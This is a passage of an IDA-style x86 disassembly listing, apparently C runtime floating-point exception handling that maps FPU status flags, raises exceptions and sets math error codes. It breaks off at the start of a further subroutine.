loc_424F02:				; CODE XREF: sub_424E40+ABj
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 1
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFEFh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 4
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		shl	edx, 3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFF7h
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 8
		neg	ecx
		sbb	ecx, ecx
		inc	ecx
		and	ecx, 1
		shl	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		and	al, 0FBh
		or	eax, ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 10h
		neg	eax
		sbb	eax, eax
		inc	eax
		and	eax, 1
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		and	edx, 0FFFFFFFDh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 20h
		neg	edx
		sbb	edx, edx
		inc	edx
		and	edx, 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 0FFFFFFFEh
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ecx
		call	sub_425AE0
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_424FD2
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 10h
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_424FD2:				; CODE XREF: sub_424E40+181j
		mov	ecx, [ebp+var_8]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_424FEA
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 8
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_424FEA:				; CODE XREF: sub_424E40+19Aj
		mov	edx, [ebp+var_8]
		and	edx, 8
		test	edx, edx
		jz	short loc_425003
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0Ch]
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ch], ecx


loc_425003:				; CODE XREF: sub_424E40+1B2j
		mov	eax, [ebp+var_8]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42501C
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+0Ch], edx


loc_42501C:				; CODE XREF: sub_424E40+1CBj
		mov	ecx, [ebp+var_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_425034
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0Ch]
		or	al, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+0Ch], eax


loc_425034:				; CODE XREF: sub_424E40+1E4j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 0C00h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 800h
		ja	short loc_425064
		cmp	[ebp+var_C], 800h
		jz	short loc_42507E
		cmp	[ebp+var_C], 0
		jz	short loc_4250A2
		cmp	[ebp+var_C], 400h
		jz	short loc_425090
		jmp	short loc_4250AF
; ---------------------------------------------------------------------------


loc_425064:				; CODE XREF: sub_424E40+208j
		cmp	[ebp+var_C], 0C00h
		jz	short loc_42506F
		jmp	short loc_4250AF
; ---------------------------------------------------------------------------


loc_42506F:				; CODE XREF: sub_424E40+22Bj
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		or	edx, 3
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_4250AF
; ---------------------------------------------------------------------------


loc_42507E:				; CODE XREF: sub_424E40+211j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_4250AF
; ---------------------------------------------------------------------------


loc_425090:				; CODE XREF: sub_424E40+220j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		jmp	short loc_4250AF
; ---------------------------------------------------------------------------


loc_4250A2:				; CODE XREF: sub_424E40+217j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFFFFFCh
		mov	eax, [ebp+arg_0]
		mov	[eax], edx


loc_4250AF:				; CODE XREF: sub_424E40+222j
					; sub_424E40+22Dj ...
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 300h
		mov	[ebp+var_10], edx
		cmp	[ebp+var_10], 0
		jz	short loc_4250F8
		cmp	[ebp+var_10], 200h
		jz	short loc_4250E6
		cmp	[ebp+var_10], 300h
		jz	short loc_4250D7
		jmp	short loc_425108
; ---------------------------------------------------------------------------


loc_4250D7:				; CODE XREF: sub_424E40+293j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_425108
; ---------------------------------------------------------------------------


loc_4250E6:				; CODE XREF: sub_424E40+28Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 4
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_425108
; ---------------------------------------------------------------------------


loc_4250F8:				; CODE XREF: sub_424E40+281j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE3h
		or	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_425108:				; CODE XREF: sub_424E40+295j
					; sub_424E40+2A4j ...
		mov	eax, [ebp+arg_C]
		and	eax, 0FFFh
		shl	eax, 5
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0FFFE001Fh
		or	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		or	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+20h]
		and	edx, 0FFFFFFE1h
		or	edx, 2
		mov	eax, [ebp+arg_0]
		mov	[eax+20h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		mov	[ecx+10h], eax
		mov	edx, [edx+4]
		mov	[ecx+14h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		or	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE1h
		or	ecx, 2
		mov	edx, [ebp+arg_0]
		mov	[edx+50h], ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_14]
		mov	edx, [ecx]
		mov	[eax+40h], edx
		mov	ecx, [ecx+4]
		mov	[eax+44h], ecx
		call	sub_425B00
		lea	edx, [ebp+arg_0]
		push	edx
		push	1
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4E04C0	; RaiseException
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 4
		and	edx, 1
		test	edx, edx
		jz	short loc_4251BD
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_4251BD:				; CODE XREF: sub_424E40+36Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		shr	ecx, 3
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_4251D9
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0FBh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_4251D9:				; CODE XREF: sub_424E40+38Bj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		shr	eax, 2
		and	eax, 1
		test	eax, eax
		jz	short loc_4251F6
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	edx, 0FFFFFFF7h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_4251F6:				; CODE XREF: sub_424E40+3A7j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shr	edx, 1
		and	edx, 1
		test	edx, edx
		jz	short loc_425212
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEFh
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx


loc_425212:				; CODE XREF: sub_424E40+3C3j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42522B
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	al, 0DFh
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_42522B:				; CODE XREF: sub_424E40+3DDj
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 3
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 3
		ja	short loc_425289
		mov	ecx, [ebp+var_14]
		jmp	off_4252F1[ecx*4]


loc_425246:				; DATA XREF: .data:004252FDo
					; .data:00447C74o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 0Ch
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_425289
; ---------------------------------------------------------------------------


loc_425258:				; CODE XREF: sub_424E40+3FFj
					; DATA XREF: .data:004252F9o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 8
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_425289
; ---------------------------------------------------------------------------


loc_42526A:				; CODE XREF: sub_424E40+3FFj
					; DATA XREF: .data:004252F5o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		or	ah, 4
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_425289
; ---------------------------------------------------------------------------


loc_42527C:				; CODE XREF: sub_424E40+3FFj
					; DATA XREF: .data:off_4252F1o
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	ah, 0F3h
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax


loc_425289:				; CODE XREF: sub_424E40+3FAj
					; sub_424E40+416j ...
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shr	eax, 2
		and	eax, 7
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_4252AB
		cmp	[ebp+var_18], 1
		jz	short loc_4252BD
		cmp	[ebp+var_18], 2
		jz	short loc_4252CF
		jmp	short loc_4252DC
; ---------------------------------------------------------------------------


loc_4252AB:				; CODE XREF: sub_424E40+45Bj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 3
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_4252DC
; ---------------------------------------------------------------------------


loc_4252BD:				; CODE XREF: sub_424E40+461j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		or	dh, 2
		mov	eax, [ebp+arg_4]
		mov	[eax], edx
		jmp	short loc_4252DC
; ---------------------------------------------------------------------------


loc_4252CF:				; CODE XREF: sub_424E40+467j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		and	dh, 0F3h
		mov	eax, [ebp+arg_4]
		mov	[eax], edx


loc_4252DC:				; CODE XREF: sub_424E40+469j
					; sub_424E40+47Bj ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_14]
		mov	eax, [ecx+40h]
		mov	[edx], eax
		mov	ecx, [ecx+44h]
		mov	[edx+4], ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_424E40	endp

; ---------------------------------------------------------------------------
off_4252F1	dd offset loc_42527C	; DATA XREF: sub_424E40+3FFr
		dd offset loc_42526A
		dd offset loc_425258
		dd offset loc_425246
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425310	proc near		; CODE XREF: sub_424CB0+12p
					; .data:00424D82p

var_44		= dword	ptr -44h
var_40		= qword	ptr -40h
var_38		= qword	ptr -38h
var_30		= qword	ptr -30h
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42534A
		mov	edx, [ebp+arg_8]
		and	edx, 1
		test	edx, edx
		jz	short loc_42534A
		push	1
		call	sub_425B60
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0F7h
		mov	[ebp+var_4], eax
		jmp	loc_42564E
; ---------------------------------------------------------------------------


loc_42534A:				; CODE XREF: sub_425310+17j
					; sub_425310+21j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_425375
		mov	edx, [ebp+arg_8]
		and	edx, 4
		test	edx, edx
		jz	short loc_425375
		push	4
		call	sub_425B60
		add	esp, 4
		mov	eax, [ebp+var_4]
		and	al, 0FBh
		mov	[ebp+var_4], eax
		jmp	loc_42564E
; ---------------------------------------------------------------------------


loc_425375:				; CODE XREF: sub_425310+42j
					; sub_425310+4Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_4254F1
		mov	edx, [ebp+arg_8]
		and	edx, 8
		test	edx, edx
		jz	loc_4254F1
		push	8
		call	sub_425B60
		add	esp, 4
		mov	eax, [ebp+arg_8]
		and	eax, 0C00h
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 800h
		ja	short loc_4253D0
		cmp	[ebp+var_20], 800h
		jz	short loc_425425
		cmp	[ebp+var_20], 0
		jz	short loc_4253E2
		cmp	[ebp+var_20], 400h
		jz	loc_425465
		jmp	loc_4254E3
; ---------------------------------------------------------------------------


loc_4253D0:				; CODE XREF: sub_425310+9Dj
		cmp	[ebp+var_20], 0C00h
		jz	loc_4254A5
		jmp	loc_4254E3
; ---------------------------------------------------------------------------


loc_4253E2:				; CODE XREF: sub_425310+ACj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_425407
		mov	edx, dword ptr dbl_4477F8
		mov	dword ptr [ebp+var_28],	edx
		mov	eax, dword ptr dbl_4477F8+4
		mov	dword ptr [ebp+var_28+4], eax
		jmp	short loc_425412
; ---------------------------------------------------------------------------


loc_425407:				; CODE XREF: sub_425310+E2j
		fld	dbl_4477F8
		fchs
		fstp	[ebp+var_28]


loc_425412:				; CODE XREF: sub_425310+F5j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_28]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_28+4]
		mov	[ecx+4], eax
		jmp	loc_4254E3
; ---------------------------------------------------------------------------


loc_425425:				; CODE XREF: sub_425310+A6j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42544A
		mov	edx, dword ptr dbl_4477F8
		mov	dword ptr [ebp+var_30],	edx
		mov	eax, dword ptr dbl_4477F8+4
		mov	dword ptr [ebp+var_30+4], eax
		jmp	short loc_425455
; ---------------------------------------------------------------------------


loc_42544A:				; CODE XREF: sub_425310+125j
		fld	dbl_447808
		fchs
		fstp	[ebp+var_30]


loc_425455:				; CODE XREF: sub_425310+138j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_30]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_30+4]
		mov	[ecx+4], eax
		jmp	short loc_4254E3
; ---------------------------------------------------------------------------


loc_425465:				; CODE XREF: sub_425310+B5j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42548A
		mov	edx, dword ptr dbl_447808
		mov	dword ptr [ebp+var_38],	edx
		mov	eax, dword ptr dbl_447808+4
		mov	dword ptr [ebp+var_38+4], eax
		jmp	short loc_425495
; ---------------------------------------------------------------------------


loc_42548A:				; CODE XREF: sub_425310+165j
		fld	dbl_4477F8
		fchs
		fstp	[ebp+var_38]


loc_425495:				; CODE XREF: sub_425310+178j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_38]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_38+4]
		mov	[ecx+4], eax
		jmp	short loc_4254E3
; ---------------------------------------------------------------------------


loc_4254A5:				; CODE XREF: sub_425310+C7j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_4254CA
		mov	edx, dword ptr dbl_447808
		mov	dword ptr [ebp+var_40],	edx
		mov	eax, dword ptr dbl_447808+4
		mov	dword ptr [ebp+var_40+4], eax
		jmp	short loc_4254D5
; ---------------------------------------------------------------------------


loc_4254CA:				; CODE XREF: sub_425310+1A5j
		fld	dbl_447808
		fchs
		fstp	[ebp+var_40]


loc_4254D5:				; CODE XREF: sub_425310+1B8j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_40]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_40+4]
		mov	[ecx+4], eax


loc_4254E3:				; CODE XREF: sub_425310+BBj
					; sub_425310+CDj ...
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_4], ecx
		jmp	loc_42564E
; ---------------------------------------------------------------------------


loc_4254F1:				; CODE XREF: sub_425310+6Dj
					; sub_425310+7Bj
		mov	edx, [ebp+arg_0]
		and	edx, 2
		test	edx, edx
		jz	loc_42564E
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	loc_42564E
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_0]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_425525
		mov	[ebp+var_8], 1


loc_425525:				; CODE XREF: sub_425310+20Cj
		mov	edx, [ebp+arg_4]
		fld	qword ptr [edx]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 40h
		jnz	loc_42562E
		lea	eax, [ebp+var_18]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ecx]
		push	eax		; double
		call	sub_4259A0
		add	esp, 0Ch
		fstp	[ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, 600h
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0FFFFFBCEh
		jge	short loc_425581
		fld	[ebp+var_10]
		fmul	dbl_4352F0
		fstp	[ebp+var_10]
		mov	[ebp+var_8], 1
		jmp	loc_42561E
; ---------------------------------------------------------------------------


loc_425581:				; CODE XREF: sub_425310+257j
		fld	[ebp+var_10]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 1
		jz	short loc_42559A
		mov	[ebp+var_44], 1
		jmp	short loc_4255A1
; ---------------------------------------------------------------------------


loc_42559A:				; CODE XREF: sub_425310+27Fj
		mov	[ebp+var_44], 0


loc_4255A1:				; CODE XREF: sub_425310+288j
		mov	edx, [ebp+var_44]
		mov	[ebp+var_1C], edx
		mov	ax, word ptr [ebp+var_10+6]
		and	ax, 0Fh
		mov	word ptr [ebp+var_10+6], ax
		mov	cx, word ptr [ebp+var_10+6]
		or	cl, 10h
		mov	word ptr [ebp+var_10+6], cx
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255C0:				; CODE XREF: sub_425310+2FEj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_4255C9:				; CODE XREF: sub_425310+2AEj
		cmp	[ebp+var_14], 0FFFFFC03h
		jge	short loc_425610
		mov	eax, dword ptr [ebp+var_10]
		and	eax, 1
		test	eax, eax
		jz	short loc_4255E9
		cmp	[ebp+var_8], 0
		jnz	short loc_4255E9
		mov	[ebp+var_8], 1


loc_4255E9:				; CODE XREF: sub_425310+2CAj
					; sub_425310+2D0j
		mov	ecx, dword ptr [ebp+var_10]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10],	ecx
		mov	edx, dword ptr [ebp+var_10+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_425606
		mov	eax, dword ptr [ebp+var_10]
		or	eax, 80000000h
		mov	dword ptr [ebp+var_10],	eax


loc_425606:				; CODE XREF: sub_425310+2E9j
		mov	ecx, dword ptr [ebp+var_10+4]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10+4], ecx
		jmp	short loc_4255C0
; ---------------------------------------------------------------------------


loc_425610:				; CODE XREF: sub_425310+2C0j
		cmp	[ebp+var_1C], 0
		jz	short loc_42561E
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_42561E:				; CODE XREF: sub_425310+26Cj
					; sub_425310+304j
		mov	edx, [ebp+arg_4]
		mov	eax, dword ptr [ebp+var_10]
		mov	[edx], eax
		mov	ecx, dword ptr [ebp+var_10+4]
		mov	[edx+4], ecx
		jmp	short loc_425635
; ---------------------------------------------------------------------------


loc_42562E:				; CODE XREF: sub_425310+225j
		mov	[ebp+var_8], 1


loc_425635:				; CODE XREF: sub_425310+31Cj
		cmp	[ebp+var_8], 0
		jz	short loc_425645
		push	10h
		call	sub_425B60
		add	esp, 4


loc_425645:				; CODE XREF: sub_425310+329j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFFDh
		mov	[ebp+var_4], edx


loc_42564E:				; CODE XREF: sub_425310+35j
					; sub_425310+60j ...
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_425675
		mov	ecx, [ebp+arg_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_425675
		push	20h
		call	sub_425B60
		add	esp, 4
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFEFh
		mov	[ebp+var_4], edx


loc_425675:				; CODE XREF: sub_425310+346j
					; sub_425310+350j
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setz	al
		mov	esp, ebp
		pop	ebp
		retn
sub_425310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_425690(int,int,int,int,int,int,double,int)

sub_425690	proc near		; CODE XREF: sub_424BE0+2Ap
					; .data:00424C7Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_425770
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_425707
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_C], edx
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	ecx, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], ecx
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_425B20
		add	esp, 8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42ADE0
		add	esp, 4
		test	eax, eax
		jnz	short loc_425702
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_425730
		add	esp, 4


loc_425702:				; CODE XREF: sub_425690+64j
		fld	[ebp+var_8]
		jmp	short loc_425727
; ---------------------------------------------------------------------------


loc_425707:				; CODE XREF: sub_425690+19j
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_425B20
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_425730
		add	esp, 4
		fld	[ebp+arg_18]


loc_425727:				; CODE XREF: sub_425690+75j
		mov	esp, ebp
		pop	ebp
		retn
sub_425690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425730	proc near		; CODE XREF: sub_424CB0+92p
					; .data:00424E1Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jz	short loc_42574E
		cmp	[ebp+var_4], 1
		jle	short loc_425766
		cmp	[ebp+var_4], 3
		jle	short loc_42575B
		jmp	short loc_425766
; ---------------------------------------------------------------------------


loc_42574E:				; CODE XREF: sub_425730+Ej
		call	sub_4224D0
		mov	dword ptr [eax], 21h
		jmp	short loc_425766
; ---------------------------------------------------------------------------


loc_42575B:				; CODE XREF: sub_425730+1Aj
		call	sub_4224D0
		mov	dword ptr [eax], 22h


loc_425766:				; CODE XREF: sub_425730+14j
					; sub_425730+1Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_425730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425770	proc near		; CODE XREF: sub_425690+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_425786
; ---------------------------------------------------------------------------


loc_42577D:				; CODE XREF: sub_425770:loc_4257A7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_425786:				; CODE XREF: sub_425770+Bj
		cmp	[ebp+var_4], 1Bh
		jge	short loc_4257A9
		mov	ecx, [ebp+var_4]
		mov	edx, dword_447720[ecx*8]
		cmp	edx, [ebp+arg_0]
		jnz	short loc_4257A7
		mov	eax, [ebp+var_4]
		mov	eax, off_447724[eax*8]
		jmp	short loc_4257AB
; ---------------------------------------------------------------------------


loc_4257A7:				; CODE XREF: sub_425770+29j
		jmp	short loc_42577D
; ---------------------------------------------------------------------------


loc_4257A9:				; CODE XREF: sub_425770+1Aj
		xor	eax, eax


loc_4257AB:				; CODE XREF: sub_425770+35j
		mov	esp, ebp
		pop	ebp
		retn
sub_425770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4257B0	proc near		; CODE XREF: sub_424CB0+4Ap
					; .data:00424DD2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 20h
		test	eax, eax
		jz	short loc_4257C7
		mov	[ebp+var_4], 5
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_4257C7:				; CODE XREF: sub_4257B0+Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_4257DA
		mov	[ebp+var_4], 1
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_4257DA:				; CODE XREF: sub_4257B0+1Fj
		mov	edx, [ebp+arg_0]
		and	edx, 4
		test	edx, edx
		jz	short loc_4257ED
		mov	[ebp+var_4], 2
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_4257ED:				; CODE XREF: sub_4257B0+32j
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_425800
		mov	[ebp+var_4], 3
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425800:				; CODE XREF: sub_4257B0+45j
		mov	ecx, [ebp+arg_0]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_425813
		mov	[ebp+var_4], 4
		jmp	short loc_42581A
; ---------------------------------------------------------------------------


loc_425813:				; CODE XREF: sub_4257B0+58j
		mov	[ebp+var_4], 0


loc_42581A:				; CODE XREF: sub_4257B0+15j
					; sub_4257B0+28j ...
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4257B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425830	proc near		; CODE XREF: .data:004258C9p
